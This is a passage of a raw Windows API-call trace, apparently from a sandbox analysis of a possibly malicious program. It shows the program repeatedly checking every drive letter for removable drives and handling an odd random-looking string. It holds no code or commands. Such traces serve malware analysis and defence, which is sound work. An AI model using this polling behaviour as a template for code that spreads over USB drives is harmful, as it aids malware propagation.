[0171.212] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.212] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.276] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.276] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.277] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.278] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.278] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.278] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.278] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.278] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.279] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.279] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.279] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.279] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.279] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.280] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0171.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.281] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.281] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe5f8 [0171.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.282] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe5f8 | out: hHeap=0xe80000) returned 1 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0171.282] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0171.283] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.284] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.284] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0171.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.284] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.284] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.284] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0171.284] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.285] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0171.285] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10769a0 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.285] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0171.285] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0171.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.285] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.286] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.286] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.286] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.286] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.286] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.286] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.287] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.288] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.289] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.289] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.289] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.289] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.289] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.290] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.290] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.290] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.291] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.292] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.292] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.292] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.293] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.293] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.293] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.293] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.293] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.294] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.294] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.294] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.294] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.294] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0171.294] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.294] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0171.295] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe798 [0171.295] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.295] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.295] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.295] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.295] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe798 | out: hHeap=0xe80000) returned 1 [0171.295] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.295] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0171.295] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0171.295] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0171.296] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.296] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.297] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.298] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.298] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.298] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0171.298] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0171.298] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.298] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.298] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.298] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.299] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0171.299] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768f8 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0171.299] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.299] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.300] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0171.300] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.300] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.300] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.300] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.301] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.301] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.301] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.302] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.302] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.303] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.303] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.303] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.303] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.304] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.304] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.304] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.305] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.305] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.305] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.305] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.306] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.306] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.307] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.307] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.307] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.307] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.308] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.308] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.309] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.309] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.309] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.309] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.310] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.310] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0171.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe898 [0171.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.311] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe898 | out: hHeap=0xe80000) returned 1 [0171.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0171.311] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0171.311] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.312] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0171.314] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.317] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.317] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0171.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0171.317] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0171.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10769a0 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2880 [0171.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0171.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.318] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.318] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.319] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.319] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.320] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.320] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.320] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 